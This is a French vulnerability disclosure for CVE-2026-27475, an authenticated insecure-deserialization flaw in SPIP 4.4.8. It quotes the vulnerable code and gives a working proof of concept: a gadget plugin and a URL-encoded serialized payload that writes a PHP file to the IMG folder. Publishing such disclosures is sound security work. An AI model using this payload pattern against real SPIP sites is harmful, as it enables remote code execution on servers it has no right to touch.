← Back to CVEs
EN | FR

(Critical) Authenticated Insecure Deserialization in SPIP 4.4.8

CVE-2026-27475 (CVSS-B 9.2 CRITICAL)

J'ai découvert une vulnérabilité de désérialisation non sécurisée qui peut être déclenchée par un administrateur authentifié via le paramètre objets[afficher] passé à l'URL ?page=prive/formulaires/selecteur/lister. Il est passé directement à la fonction PHP unserialize() sans aucune vérification.

Pendant que unserialize traite les données, il instancie n'importe quelle classe définie dans la portée de l'application. Si une chaîne "POP" (POP Chain) ou une classe "Gadget" spécifique possédant une méthode __destruct ou __wakeup vulnérable existe dans les plugins, un attaquant pourrait obtenir une Exécution de Code à Distance (RCE).

Lien MITRE ici.

Article de blog de SPIP ici.

Détails

Vous pouvez déclencher une désérialisation qui pourrait conduire à une RCE.

Code vulnérable (prive/formulaires/selecteur/lister.html et ecrire/src/Compilateur/Iterateur/Data.php) :

prive/formulaires/selecteur/lister.html :

<BOUCLE_objets(DATA){source table, #ENV{objets/afficher}}>

ecrire/src/Compilateur/Iterateur/Data.php :

protected function select_source() {
# reste du code
if (
    isset($this->command['sourcemode'])
    and in_array(
        $this->command['sourcemode'],
        ['table', 'array', 'tableau']
    )
) {
    if (
        is_array($a = $src)
        or (is_string($a)
            and $a = str_replace('&quot;', '"', $a)
            and is_array($a = @unserialize($a)))
    ) {
        $this->tableau = $a;
    }

Comme vous pouvez le voir, l'environnement (#ENV{...} qui récupère la requête depuis l'URL pour la variable objets[afficher]) est passé directement comme source de type table à la boucle DATA. La variable $src (le payload) entre dans cette condition puis passe directement par un unserialize($a) s'il s'agit d'une chaîne de caractères (is_string($a)). Cela déclenche l'instanciation d'objets arbitraires et permet l'exploitation de chaînes de gadgets pour parvenir à une Exécution de Code à Distance (RCE).

PoC (Preuve de concept)

Pour démontrer la criticité de cette vulnérabilité, j'ai créé rapidement un plugin cible.

  1. Créez ces fichiers :

plugins/rce_gadget/paquet.xml

<paquet
    prefix="rce_gadget"
    categorie="outil"
    version="1.0.0"
    etat="test"
    compatibilite="[4.0.0;4.*.*]"
>
    <nom>RCE Gadget</nom>
    <auteur>Attacker</auteur>
</paquet>

plugins/rce_gadget/rce_gadget_options.php

<?php
class ExploitGadget {
    public $file;
    public $data;
    public function __destruct() {
        echo "<pre>DEBUG:\n";
        echo "File: "; var_dump($this->file);
        echo "Data: "; var_dump($this->data);
        echo "</pre>";
        file_put_contents($this->file, $this->data);
        die("PROOF");
    }
}
  1. Connectez-vous en tant qu'administrateur.
  2. Visitez cette URL : /spip.php?page=prive/formulaires/selecteur/lister&objets[afficher]=a%3A1%3A%7Bi%3A0%3BO%3A13%3A%22ExploitGadget%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22IMG%2Frce.php%22%3Bs%3A4%3A%22data%22%3BS%3A19%3A%22%5C3c%5C3f%5C70%5C68%5C70%5C20%5C70%5C68%5C70%5C69%5C6e%5C66%5C6f%5C28%5C29%5C3b%5C20%5C3f%5C3e%22%3B%7D%7D&var_mode=recalcul&objets[selectionner][]=a.

Le payload se décode ainsi : a:1:{i:0;O:13:"ExploitGadget":2:{s:4:"file";s:11:"IMG/rce.php";s:4:"data";S:19:"<?php phpinfo(); ?>";}}. L'encodage évite les erreurs de formatage et garantit que la fonction unserialize s'exécute parfaitement.

  1. Un fichier rce.php devrait alors être créé dans le dossier IMG. Vous pouvez visiter /IMG/rce.php et voir le résultat de la fonction phpinfo.